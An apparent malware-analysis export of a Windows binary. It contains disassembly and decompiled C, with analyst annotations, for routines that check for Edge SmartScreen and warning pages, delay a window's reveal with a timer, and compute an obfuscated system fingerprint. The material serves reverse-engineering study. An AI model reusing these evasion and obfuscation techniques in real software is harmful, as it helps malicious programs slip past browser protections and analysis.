1400090fb	66 43 83 7c 1a 12 6f	CMP word ptr [R10 + R11*0x1 + 0x12],0x6f
140009102	75 28	JNZ LAB_14000912c
140009104	66 43 83 7c 1a 14 63	CMP word ptr [R10 + R11*0x1 + 0x14],0x63
14000910b	75 1f	JNZ LAB_14000912c
14000910d	66 43 83 7c 1a 16 6b	CMP word ptr [R10 + R11*0x1 + 0x16],0x6b
140009114	75 16	JNZ LAB_14000912c
140009116	66 43 83 7c 1a 18 65	CMP word ptr [R10 + R11*0x1 + 0x18],0x65
14000911d	75 0d	JNZ LAB_14000912c
14000911f	66 43 83 7c 1a 1a 64	CMP word ptr [R10 + R11*0x1 + 0x1a],0x64
140009126	0f 84 8f 02 00 00	JZ LAB_1400093bb
LAB_14000912c:
14000912c	4c 89 ce	MOV RSI,R9
14000912f	4c 29 d6	SUB RSI,R10
140009132	4d 01 da	ADD R10,R11
140009135	49 83 c2 02	ADD R10,0x2
140009139	4c 29 de	SUB RSI,R11
14000913c	48 d1 fe	SAR RSI,0x1
14000913f	48 83 fe 0d	CMP RSI,0xd
140009143	0f 8f 43 ff ff ff	JG LAB_14000908c
140009149	e9 08 ff ff ff	JMP LAB_140009056
LAB_14000914e:
14000914e	4d 01 f8	ADD R8,R15
140009151	49 83 c0 fe	ADD R8,-0x2
140009155	49 89 d3	MOV R11,RDX
140009158	4d 89 f9	MOV R9,R15
LAB_14000915b:
14000915b	49 83 c3 f6	ADD R11,-0xa
14000915f	45 31 d2	XOR R10D,R10D
140009162	66 66 66 66 66 2e 0f 1f …	NOP word ptr CS:[RAX + RAX*0x1]
LAB_140009170:
140009170	66 43 83 3c 11 65	CMP word ptr [R9 + R10*0x1],0x65
140009176	74 0b	JZ LAB_140009183
140009178	49 83 c2 02	ADD R10,0x2
14000917c	49 ff cb	DEC R11
14000917f	75 ef	JNZ LAB_140009170
140009181	eb 7b	JMP LAB_1400091fe
LAB_140009183:
140009183	66 43 83 7c 11 02 64	CMP word ptr [R9 + R10*0x1 + 0x2],0x64
14000918a	75 55	JNZ LAB_1400091e1
14000918c	66 43 83 7c 11 04 67	CMP word ptr [R9 + R10*0x1 + 0x4],0x67
140009193	75 4c	JNZ LAB_1400091e1
140009195	66 43 83 7c 11 06 65	CMP word ptr [R9 + R10*0x1 + 0x6],0x65
14000919c	75 43	JNZ LAB_1400091e1
14000919e	66 43 83 7c 11 08 3a	CMP word ptr [R9 + R10*0x1 + 0x8],0x3a
1400091a5	75 3a	JNZ LAB_1400091e1
1400091a7	66 43 83 7c 11 0a 2f	CMP word ptr [R9 + R10*0x1 + 0xa],0x2f
1400091ae	75 31	JNZ LAB_1400091e1
1400091b0	66 43 83 7c 11 0c 2f	CMP word ptr [R9 + R10*0x1 + 0xc],0x2f
1400091b7	75 28	JNZ LAB_1400091e1
1400091b9	66 43 83 7c 11 0e 77	CMP word ptr [R9 + R10*0x1 + 0xe],0x77
1400091c0	75 1f	JNZ LAB_1400091e1
1400091c2	66 43 83 7c 11 10 61	CMP word ptr [R9 + R10*0x1 + 0x10],0x61
1400091c9	75 16	JNZ LAB_1400091e1
1400091cb	66 43 83 7c 11 12 72	CMP word ptr [R9 + R10*0x1 + 0x12],0x72
1400091d2	75 0d	JNZ LAB_1400091e1
1400091d4	66 43 83 7c 11 14 6e	CMP word ptr [R9 + R10*0x1 + 0x14],0x6e
1400091db	0f 84 61 01 00 00	JZ LAB_140009342
LAB_1400091e1:
1400091e1	4d 89 c3	MOV R11,R8
1400091e4	4d 29 cb	SUB R11,R9
1400091e7	4d 01 d1	ADD R9,R10
1400091ea	49 83 c1 02	ADD R9,0x2
1400091ee	4d 29 d3	SUB R11,R10
1400091f1	49 d1 fb	SAR R11,0x1
1400091f4	49 83 fb 0a	CMP R11,0xa
1400091f8	0f 8f 5d ff ff ff	JG LAB_14000915b
LAB_1400091fe:
1400091fe	49 89 d3	MOV R11,RDX
140009201	4d 89 f9	MOV R9,R15
LAB_140009204:
140009204	49 83 c3 f6	ADD R11,-0xa
140009208	45 31 d2	XOR R10D,R10D
14000920b	0f 1f 44 00 00	NOP dword ptr [RAX + RAX*0x1]
LAB_140009210:
140009210	66 43 83 3c 11 65	CMP word ptr [R9 + R10*0x1],0x65
140009216	74 0b	JZ LAB_140009223
140009218	49 83 c2 02	ADD R10,0x2
14000921c	49 ff cb	DEC R11
14000921f	75 ef	JNZ LAB_140009210
140009221	eb 7b	JMP LAB_14000929e
LAB_140009223:
140009223	66 43 83 7c 11 02 64	CMP word ptr [R9 + R10*0x1 + 0x2],0x64
14000922a	75 55	JNZ LAB_140009281
14000922c	66 43 83 7c 11 04 67	CMP word ptr [R9 + R10*0x1 + 0x4],0x67
140009233	75 4c	JNZ LAB_140009281
140009235	66 43 83 7c 11 06 65	CMP word ptr [R9 + R10*0x1 + 0x6],0x65
14000923c	75 43	JNZ LAB_140009281
14000923e	66 43 83 7c 11 08 3a	CMP word ptr [R9 + R10*0x1 + 0x8],0x3a
140009245	75 3a	JNZ LAB_140009281
140009247	66 43 83 7c 11 0a 2f	CMP word ptr [R9 + R10*0x1 + 0xa],0x2f
14000924e	75 31	JNZ LAB_140009281
140009250	66 43 83 7c 11 0c 2f	CMP word ptr [R9 + R10*0x1 + 0xc],0x2f
140009257	75 28	JNZ LAB_140009281
140009259	66 43 83 7c 11 0e 73	CMP word ptr [R9 + R10*0x1 + 0xe],0x73
140009260	75 1f	JNZ LAB_140009281
140009262	66 43 83 7c 11 10 61	CMP word ptr [R9 + R10*0x1 + 0x10],0x61
140009269	75 16	JNZ LAB_140009281
14000926b	66 43 83 7c 11 12 66	CMP word ptr [R9 + R10*0x1 + 0x12],0x66
140009272	75 0d	JNZ LAB_140009281
140009274	66 43 83 7c 11 14 65	CMP word ptr [R9 + R10*0x1 + 0x14],0x65
14000927b	0f 84 e2 00 00 00	JZ LAB_140009363
LAB_140009281:
140009281	4d 89 c3	MOV R11,R8
140009284	4d 29 cb	SUB R11,R9
140009287	4d 01 d1	ADD R9,R10
14000928a	49 83 c1 02	ADD R9,0x2
14000928e	4d 29 d3	SUB R11,R10
140009291	49 d1 fb	SAR R11,0x1
140009294	49 83 fb 0a	CMP R11,0xa
140009298	0f 8f 66 ff ff ff	JG LAB_140009204
LAB_14000929e:
14000929e	4d 89 f9	MOV R9,R15
LAB_1400092a1:
1400092a1	48 83 c2 f6	ADD RDX,-0xa
1400092a5	45 31 d2	XOR R10D,R10D
1400092a8	0f 1f 84 00 00 00 00 00	NOP dword ptr [RAX + RAX*0x1]
LAB_1400092b0:
1400092b0	66 43 83 3c 11 73	CMP word ptr [R9 + R10*0x1],0x73
1400092b6	74 0e	JZ LAB_1400092c6
1400092b8	49 83 c2 02	ADD R10,0x2
1400092bc	48 ff ca	DEC RDX
1400092bf	75 ef	JNZ LAB_1400092b0
1400092c1	e9 9a fd ff ff	JMP LAB_140009060
LAB_1400092c6:
1400092c6	66 43 83 7c 11 02 6d	CMP word ptr [R9 + R10*0x1 + 0x2],0x6d
1400092cd	75 51	JNZ LAB_140009320
1400092cf	66 43 83 7c 11 04 61	CMP word ptr [R9 + R10*0x1 + 0x4],0x61
1400092d6	75 48	JNZ LAB_140009320
1400092d8	66 43 83 7c 11 06 72	CMP word ptr [R9 + R10*0x1 + 0x6],0x72
1400092df	75 3f	JNZ LAB_140009320
1400092e1	66 43 83 7c 11 08 74	CMP word ptr [R9 + R10*0x1 + 0x8],0x74
1400092e8	75 36	JNZ LAB_140009320
1400092ea	66 43 83 7c 11 0a 73	CMP word ptr [R9 + R10*0x1 + 0xa],0x73
1400092f1	75 2d	JNZ LAB_140009320
1400092f3	66 43 83 7c 11 0c 63	CMP word ptr [R9 + R10*0x1 + 0xc],0x63
1400092fa	75 24	JNZ LAB_140009320
1400092fc	66 43 83 7c 11 0e 72	CMP word ptr [R9 + R10*0x1 + 0xe],0x72
140009303	75 1b	JNZ LAB_140009320
140009305	66 43 83 7c 11 10 65	CMP word ptr [R9 + R10*0x1 + 0x10],0x65
14000930c	75 12	JNZ LAB_140009320
14000930e	66 43 83 7c 11 12 65	CMP word ptr [R9 + R10*0x1 + 0x12],0x65
140009315	75 09	JNZ LAB_140009320
140009317	66 43 83 7c 11 14 6e	CMP word ptr [R9 + R10*0x1 + 0x14],0x6e
14000931e	74 64	JZ LAB_140009384
LAB_140009320:
140009320	4c 89 c2	MOV RDX,R8
140009323	4c 29 ca	SUB RDX,R9
140009326	4d 01 d1	ADD R9,R10
140009329	49 83 c1 02	ADD R9,0x2
14000932d	4c 29 d2	SUB RDX,R10
140009330	48 d1 fa	SAR RDX,0x1
140009333	48 83 fa 0b	CMP RDX,0xb
140009337	0f 8d 64 ff ff ff	JGE LAB_1400092a1
14000933d	e9 1e fd ff ff	JMP LAB_140009060
LAB_140009342:
140009342	4f 8d 1c 11	LEA R11,[R9 + R10*0x1]
140009346	49 39 cb	CMP R11,RCX
140009349	0f 84 af fe ff ff	JZ LAB_1400091fe
14000934f	4d 89 fb	MOV R11,R15
140009352	4d 29 cb	SUB R11,R9
140009355	49 83 c3 fe	ADD R11,-0x2
140009359	4d 39 d3	CMP R11,R10
14000935c	75 43	JNZ LAB_1400093a1
14000935e	e9 9b fe ff ff	JMP LAB_1400091fe
LAB_140009363:
140009363	4f 8d 1c 11	LEA R11,[R9 + R10*0x1]
140009367	49 39 cb	CMP R11,RCX
14000936a	0f 84 2e ff ff ff	JZ LAB_14000929e
140009370	4d 89 fb	MOV R11,R15
140009373	4d 29 cb	SUB R11,R9
140009376	49 83 c3 fe	ADD R11,-0x2
14000937a	4d 39 d3	CMP R11,R10
14000937d	75 22	JNZ LAB_1400093a1
14000937f	e9 1a ff ff ff	JMP LAB_14000929e
LAB_140009384:
140009384	4b 8d 14 11	LEA RDX,[R9 + R10*0x1]
140009388	48 39 ca	CMP RDX,RCX
14000938b	0f 84 cf fc ff ff	JZ LAB_140009060
140009391	4d 29 cf	SUB R15,R9
140009394	49 83 c7 fe	ADD R15,-0x2
140009398	4d 39 d7	CMP R15,R10
14000939b	0f 84 bf fc ff ff	JZ LAB_140009060
LAB_1400093a1:
1400093a1	4c 89 f1	MOV RCX,R14
1400093a4	49 8b 06	MOV RAX,qword ptr [R14]
1400093a7	ba 01 00 00 00	MOV EDX,0x1
1400093ac	ff 50 40	CALL qword ptr [RAX + 0x40]
1400093af	0f b6 44 24 28	MOVZX EAX,byte ptr [RSP + local_50]
1400093b4	24 01	AND AL,0x1
1400093b6	e9 a5 fc ff ff	JMP LAB_140009060
LAB_1400093bb:
1400093bb	4f 8d 0c 1a	LEA R9,[R10 + R11*0x1]
1400093bf	49 39 c9	CMP R9,RCX
1400093c2	0f 84 8e fc ff ff	JZ LAB_140009056
1400093c8	4d 89 f9	MOV R9,R15
1400093cb	4d 29 d1	SUB R9,R10
1400093ce	49 83 c1 fe	ADD R9,-0x2
1400093d2	4d 39 d9	CMP R9,R11
1400093d5	75 ca	JNZ LAB_1400093a1
1400093d7	e9 7a fc ff ff	JMP LAB_140009056
LAB_1400093dc:
1400093dc	e8 0f b6 ff ff	CALL FUN_1400049f0	; FUN_1400049f0: __acrt_iob_func, RtlUnwindEx

timer_setup

0x14000948058 bytes

undefined8 timer_setup(void)

Sets up Windows timer for delayed window reveal

Cited as: E11
Behaviours: B7
Called from: none found
Calls: SetTimer

Decompiled C · 11 lines

undefined8 timer_setup(void)

{
  if (DAT_1400c9478 == '\0') {
    DAT_1400c9478 = '\x01';
    SetTimer(DAT_1400c9450,9999,0x5dc,timer_reveal);
  }
  return 0;
}

Assembly · 12 instructions, 1 annotated

Address	Bytes	Instruction	Comment
140009480	48 83 ec 28	SUB RSP,0x28
140009484	80 3d ed ff 0b 00 00	CMP byte ptr [DAT_1400c9478],0x0
14000948b	75 26	JNZ LAB_1400094b3
14000948d	c6 05 e4 ff 0b 00 01	MOV byte ptr [DAT_1400c9478],0x1
140009494	48 8b 0d b5 ff 0b 00	MOV RCX,qword ptr [DAT_1400c9450]
14000949b	4c 8d 0d be b4 ff ff	LEA R9,[timer_reveal]	; → timer_reveal (B7, E12)
1400094a2	ba 0f 27 00 00	MOV EDX,0x270f
1400094a7	41 b8 dc 05 00 00	MOV R8D,0x5dc
1400094ad	ff 15 fd 8e 0a 00	CALL qword ptr [PTR_SetTimer_1400b23b0]
LAB_1400094b3:
1400094b3	31 c0	XOR EAX,EAX
1400094b5	48 83 c4 28	ADD RSP,0x28
1400094b9	c3	RET

system_fingerprint

0x1400094c02313 bytes

uint system_fingerprint(void)

Collects system identity data using XOR constants 0xfd6c0c64 and 0x9c0fc46e

Cited as: E7
Behaviours: B6
Called from: none found
Calls: GetCurrentProcessId GetLocalTime GetLocaleInfoA GetSystemInfo GetTickCount strlen

Decompiled C · 154 lines

uint system_fingerprint(void)

{
  uint uVar1;
  uint uVar2;
  uint uVar3;
  DWORD DVar4;
  DWORD DVar5;
  uint uVar6;
  uint uVar7;
  uint uVar8;
  uint uVar9;
  uint uVar10;
  uint uVar11;
  uint uVar12;
  size_t sVar13;
  uint local_98;
  int local_94;
  _SYSTEMTIME local_8c;
  int local_7c;
  _union_552 local_78;
  int local_74;
  char local_48 [64];
  
  GetLocalTime(&local_8c);
  GetLocaleInfoA(0x400,0x59,local_48,0x40);
  sVar13 = strlen(local_48);
  GetSystemInfo((LPSYSTEM_INFO)&local_78.s);
  DVar4 = GetCurrentProcessId();
  DVar5 = GetTickCount();
  uVar1 = (uint)local_8c.wMilliseconds + (int)sVar13 + local_74 + DVar4 + DVar5;
  local_8c._0_4_ = uVar1 ^ 0xfd6c0c64;
  uVar6 = DAT_1400c9008 & (uVar1 ^ 0x2f77d26c);
  local_98 = 0;
  do {
    local_8c._0_4_ = (uint)local_8c._0_4_ >> 1 ^ 0x9c0fc46e;
    local_98 = local_98 + 1;
  } while ((int)local_98 < 4);
  uVar7 = local_8c._0_4_ | DAT_1400c900c;
  uVar12 = uVar1 ^ uVar7 + DAT_1400c9010;
  if ((uVar12 ^ 0xde87613d) < (uVar12 ^ 0x9ef5e906)) {
    uVar8 = uVar12 ^ 0xe5913f9e;
  }
  else {
    uVar8 = (uVar12 ^ 0x9ef5e906) & 0xeedc03de;
  }
  uVar12 = uVar12 ^ ((uVar8 & DAT_1400c9010) + 0x91e8c5c9 | 0x94f85be8);
  uVar2 = uVar12 ^ ((uVar12 ^ 0x64e3fa75) & 0x745222d2) + 0x61c4b5bb;
  uVar9 = uVar2 ^ 0x749ccb4c;
  uVar10 = uVar6 - (uVar12 ^ 0xbdf14630) & uVar9;
  local_94 = 0;
  do {
    local_94 = local_94 + 1;
  } while (local_94 < 2);
  uVar2 = uVar2 ^ uVar9;
  uVar9 = uVar2 ^ 0x4d26f18f;
  local_94 = 0;
  do {
    local_94 = local_94 + 1;
  } while (local_94 < 6);
  local_94 = 0;
  do {
    local_94 = local_94 + 1;
  } while (local_94 < 4);
  uVar2 = uVar2 ^ uVar9;
  local_78.dwOemId = uVar2 ^ 0x8ead0ae2;
  if ((local_78.dwOemId & 0x31d38002) != 0) {
    local_78.dwOemId = (uVar2 ^ 0x28b1af24) & 0x1bee56a6;
  }
  uVar11 = (DAT_1400c9018 | uVar12 ^ 0xbdf14630) ^ local_78.dwOemId;
  uVar3 = uVar2 ^ (uVar2 ^ 0x574827b9) - uVar11;
  DAT_1400c901c =
       (DAT_1400c901c ^ ((uVar2 ^ 0x58dba1fe) & 0x7781969f) + 0xa4e384d2 | local_78.dwOemId) +
       (uVar2 ^ 0x574827b9) ^ uVar3 ^ 0x40fd22c6;
  uVar12 = (uVar3 ^ 0x9cff181b) + 0x10ca9ec3;
  local_8c._0_4_ = (uVar3 ^ 0x40fd22c6) + uVar11 | uVar10;
  if ((uVar12 & 0xbdcfdaea) != 0) {
    local_8c._0_4_ = local_8c._0_4_ + 0xdce13f36 & 0x63d598cd;
  }
  if ((local_8c._0_4_ ^ uVar10) < uVar12) {
    uVar12 = local_8c._0_4_ ^ uVar10 ^ 0x299fc2dc;
  }
  else {
    uVar12 = uVar12 & 0x8d4566a2;
  }
  local_98 = 0;
  do {
    local_98 = local_98 + 1;
  } while ((int)local_98 < 2);
  uVar3 = uVar3 ^ uVar12;
  local_78.dwOemId = uVar3 ^ 0x53129690;
  local_7c = 0;
  do {
    local_78.dwOemId = local_78.dwOemId >> 1 ^ 0x2c7e8985;
    local_7c = local_7c + 1;
  } while (local_7c < 3);
  DAT_1400c9008 = uVar10 ^ local_78.dwOemId;
  local_7c = 0;
  do {
    local_7c = local_7c + 1;
  } while (local_7c < 3);
  uVar3 = uVar3 ^ uVar3 ^ 0x36029e60;
  local_78.dwOemId = uVar3 ^ 0x9cc2e046;
  local_8c._0_4_ = uVar3 ^ 0x2cba73f9;
  if ((local_78.dwOemId & 0x8b83ffe0) != 0) {
    local_8c._0_4_ = (uVar3 ^ 0xf0979b74) + 0x37b895e6;
  }
  if ((local_78.dwOemId & 0x79475e16) != 0) {
    local_8c._0_4_ = local_8c._0_4_ + 0x30350fe5 | 0xa1fef5e9;
  }
  if ((local_8c._0_4_ & 0x460fcd60) != 0) {
    local_78.dwOemId = local_78.dwOemId + 0xd680fd8a | 0x3469cafd;
  }
  local_78.dwOemId = local_78.dwOemId | DAT_1400c9008;
  DAT_1400c9018 = uVar11 + local_8c._0_4_;
  local_98 = 0;
  do {
    local_98 = local_98 + 1;
  } while ((int)local_98 < 2);
  local_98 = 0;
  do {
    local_78.dwOemId = local_78.dwOemId >> 1 ^ 0x9e38fa03;
    local_98 = local_98 + 1;
  } while ((int)local_98 < 6);
  uVar3 = uVar3 ^ local_78.dwOemId;
  local_78.dwOemId = uVar3 ^ 0x1be9209f;
  local_98 = uVar3 ^ 0x53eed28b;
  if ((local_78.dwOemId & 0x305cb55f) != 0) {
    local_78.dwOemId = (uVar3 ^ 0x79ffd8a6) + 0xa2deb0e4;
  }
  uVar12 = (uVar3 ^ 0x1085b06a | 0x8263f3b1) & 0x9087297;
  if (uVar12 < (uint)local_78) {
    uVar12 = uVar12 ^ 0xb399de72;
  }
  else {
    uVar12 = local_78.dwOemId & 0x4c10da9c;
  }
  DAT_1400c900c = (DAT_1400c900c - uVar7) + local_98;
  local_94 = 0;
  do {
    local_98 = local_98 >> 1 ^ 0x882d088a;
    local_94 = local_94 + 1;
  } while (local_94 < 4);
  DAT_1400c9014 = (DAT_1400c9014 | uVar1 ^ 0x2f77d26c | uVar6 | uVar8) + local_98;
  local_94 = 0;
  do {
    local_98 = local_98 >> 1 ^ 0x4b876c7b;
    local_94 = local_94 + 1;
  } while (local_94 < 3);
  DAT_1400c9010 = DAT_1400c9010 - uVar9 ^ local_98;
  return uVar3 ^ uVar12;
}

Assembly · 496 instructions, 0 annotated

Address	Bytes	Instruction
1400094c0	56	PUSH RSI
1400094c1	48 81 ec b0 00 00 00	SUB RSP,0xb0
1400094c8	c7 44 24 20 00 00 00 00	MOV dword ptr [RSP + local_98],0x0
1400094d0	48 8d 4c 24 2c	LEA RCX,[RSP + 0x2c]
1400094d5	ff 15 c5 93 0a 00	CALL qword ptr [PTR_GetLocalTime_1400b28a0]
1400094db	0f b7 44 24 3a	MOVZX EAX,word ptr [RSP + local_7e]
1400094e0	01 44 24 20	ADD dword ptr [RSP + local_98],EAX
1400094e4	48 8d 74 24 70	LEA RSI,[RSP + 0x70]
1400094e9	b9 00 04 00 00	MOV ECX,0x400
1400094ee	ba 59 00 00 00	MOV EDX,0x59
1400094f3	49 89 f0	MOV R8,RSI
1400094f6	41 b9 40 00 00 00	MOV R9D,0x40
1400094fc	ff 15 a6 93 0a 00	CALL qword ptr [PTR_GetLocaleInfoA_1400b28a8]
140009502	48 89 f1	MOV RCX,RSI
140009505	e8 56 0d 09 00	CALL strlen
14000950a	01 44 24 20	ADD dword ptr [RSP + local_98],EAX
14000950e	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
140009513	ff 15 b7 93 0a 00	CALL qword ptr [PTR_GetSystemInfo_1400b28d0]
140009519	8b 44 24 44	MOV EAX,dword ptr [RSP + local_74]
14000951d	01 44 24 20	ADD dword ptr [RSP + local_98],EAX
140009521	ff 15 31 93 0a 00	CALL qword ptr [PTR_GetCurrentProcessId_1400b2858]
140009527	01 44 24 20	ADD dword ptr [RSP + local_98],EAX
14000952b	ff 15 bf 93 0a 00	CALL qword ptr [PTR_GetTickCount_1400b28f0]
140009531	01 44 24 20	ADD dword ptr [RSP + local_98],EAX
140009535	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009539	89 44 24 28	MOV dword ptr [RSP + local_90],EAX
14000953d	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
140009541	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
140009545	b8 6c d2 77 2f	MOV EAX,0x2f77d26c
14000954a	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
14000954e	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009552	b8 64 0c 6c fd	MOV EAX,0xfd6c0c64
140009557	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
14000955b	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
14000955f	8b 05 a3 fa 0b 00	MOV EAX,dword ptr [DAT_1400c9008]
140009565	23 44 24 40	AND EAX,dword ptr [RSP + local_78]
140009569	89 05 99 fa 0b 00	MOV dword ptr [DAT_1400c9008],EAX
14000956f	c7 44 24 20 00 00 00 00	MOV dword ptr [RSP + local_98],0x0
140009577	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
14000957b	83 f8 03	CMP EAX,0x3
14000957e	7f 1c	JG LAB_14000959c
LAB_140009580:
140009580	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009584	d1 e8	SHR EAX,0x1
140009586	35 6e c4 0f 9c	XOR EAX,0x9c0fc46e
14000958b	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
14000958f	ff 44 24 20	INC dword ptr [RSP + local_98]
140009593	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009597	83 f8 04	CMP EAX,0x4
14000959a	7c e4	JL LAB_140009580
LAB_14000959c:
14000959c	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
1400095a0	0b 05 62 fa 0b 00	OR EAX,dword ptr [DAT_1400c9008]
1400095a6	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
1400095aa	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
1400095ae	0b 05 58 fa 0b 00	OR EAX,dword ptr [DAT_1400c900c]
1400095b4	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
1400095b8	8b 05 4e fa 0b 00	MOV EAX,dword ptr [DAT_1400c900c]
1400095be	2b 44 24 2c	SUB EAX,dword ptr [RSP + local_8c]
1400095c2	89 05 44 fa 0b 00	MOV dword ptr [DAT_1400c900c],EAX
1400095c8	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
1400095cc	03 05 3e fa 0b 00	ADD EAX,dword ptr [DAT_1400c9010]
1400095d2	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
1400095d6	8b 05 38 fa 0b 00	MOV EAX,dword ptr [DAT_1400c9014]
1400095dc	0b 44 24 40	OR EAX,dword ptr [RSP + local_78]
1400095e0	89 05 2e fa 0b 00	MOV dword ptr [DAT_1400c9014],EAX
1400095e6	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
1400095ea	03 05 18 fa 0b 00	ADD EAX,dword ptr [DAT_1400c9008]
1400095f0	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
1400095f4	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
1400095f8	33 05 1a fa 0b 00	XOR EAX,dword ptr [DAT_1400c9018]
1400095fe	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009602	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009606	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
14000960a	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
14000960e	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
140009612	b8 3d 61 87 de	MOV EAX,0xde87613d
140009617	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
14000961b	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
14000961f	b8 06 e9 f5 9e	MOV EAX,0x9ef5e906
140009624	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009628	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
14000962c	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009630	3b 44 24 40	CMP EAX,dword ptr [RSP + local_78]
140009634	76 0b	JBE LAB_140009641
140009636	b8 a3 5e 16 3b	MOV EAX,0x3b165ea3
14000963b	33 44 24 40	XOR EAX,dword ptr [RSP + local_78]
14000963f	eb 09	JMP LAB_14000964a
LAB_140009641:
140009641	b8 de 03 dc ee	MOV EAX,0xeedc03de
140009646	23 44 24 2c	AND EAX,dword ptr [RSP + local_8c]
LAB_14000964a:
14000964a	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
14000964e	8b 05 c0 f9 0b 00	MOV EAX,dword ptr [DAT_1400c9014]
140009654	0b 44 24 40	OR EAX,dword ptr [RSP + local_78]
140009658	89 05 b6 f9 0b 00	MOV dword ptr [DAT_1400c9014],EAX
14000965e	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009662	23 05 a8 f9 0b 00	AND EAX,dword ptr [DAT_1400c9010]
140009668	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
14000966c	81 44 24 40 c9 c5 e8 91	ADD dword ptr [RSP + local_78],0x91e8c5c9
140009674	81 4c 24 40 e8 5b f8 94	OR dword ptr [RSP + local_78],0x94f85be8
14000967c	f7 44 24 2c 3c 1c f2 61	TEST dword ptr [RSP + local_8c],0x61f21c3c
140009684	74 10	JZ LAB_140009696
140009686	81 74 24 2c 62 88 9f 30	XOR dword ptr [RSP + local_8c],0x309f8862
14000968e	81 44 24 2c 30 bc ac 5d	ADD dword ptr [RSP + local_8c],0x5dacbc30
LAB_140009696:
140009696	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
14000969a	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
14000969e	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
1400096a2	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
1400096a6	b8 75 fa e3 64	MOV EAX,0x64e3fa75
1400096ab	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400096af	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
1400096b3	b8 30 46 f1 bd	MOV EAX,0xbdf14630
1400096b8	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400096bc	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
1400096c0	81 64 24 40 d2 22 52 74	AND dword ptr [RSP + local_78],0x745222d2
1400096c8	81 44 24 40 bb b5 c4 61	ADD dword ptr [RSP + local_78],0x61c4b5bb
1400096d0	8b 05 42 f9 0b 00	MOV EAX,dword ptr [DAT_1400c9018]
1400096d6	0b 44 24 2c	OR EAX,dword ptr [RSP + local_8c]
1400096da	89 05 38 f9 0b 00	MOV dword ptr [DAT_1400c9018],EAX
1400096e0	8b 05 22 f9 0b 00	MOV EAX,dword ptr [DAT_1400c9008]
1400096e6	2b 44 24 2c	SUB EAX,dword ptr [RSP + local_8c]
1400096ea	89 05 18 f9 0b 00	MOV dword ptr [DAT_1400c9008],EAX
1400096f0	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
1400096f4	03 05 1e f9 0b 00	ADD EAX,dword ptr [DAT_1400c9018]
1400096fa	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
1400096fe	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009702	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
140009706	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
14000970a	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
14000970e	b8 92 dc 09 90	MOV EAX,0x9009dc92
140009713	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009717	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
14000971b	b8 4c cb 9c 74	MOV EAX,0x749ccb4c
140009720	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009724	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009728	b8 cc 60 e5 2c	MOV EAX,0x2ce560cc
14000972d	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009731	89 44 24 20	MOV dword ptr [RSP + local_98],EAX
140009735	8b 05 cd f8 0b 00	MOV EAX,dword ptr [DAT_1400c9008]
14000973b	23 44 24 2c	AND EAX,dword ptr [RSP + local_8c]
14000973f	89 05 c3 f8 0b 00	MOV dword ptr [DAT_1400c9008],EAX
140009745	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009749	03 05 c5 f8 0b 00	ADD EAX,dword ptr [DAT_1400c9014]
14000974f	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009753	c7 44 24 24 00 00 00 00	MOV dword ptr [RSP + local_94],0x0
14000975b	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
14000975f	83 f8 01	CMP EAX,0x1
140009762	7f 28	JG LAB_14000978c
140009764	66 66 66 2e 0f 1f 84 00 …	NOP word ptr CS:[RAX + RAX*0x1]
LAB_140009770:
140009770	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009774	d1 e8	SHR EAX,0x1
140009776	35 bd 42 58 1f	XOR EAX,0x1f5842bd
14000977b	89 44 24 20	MOV dword ptr [RSP + local_98],EAX
14000977f	ff 44 24 24	INC dword ptr [RSP + local_94]
140009783	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
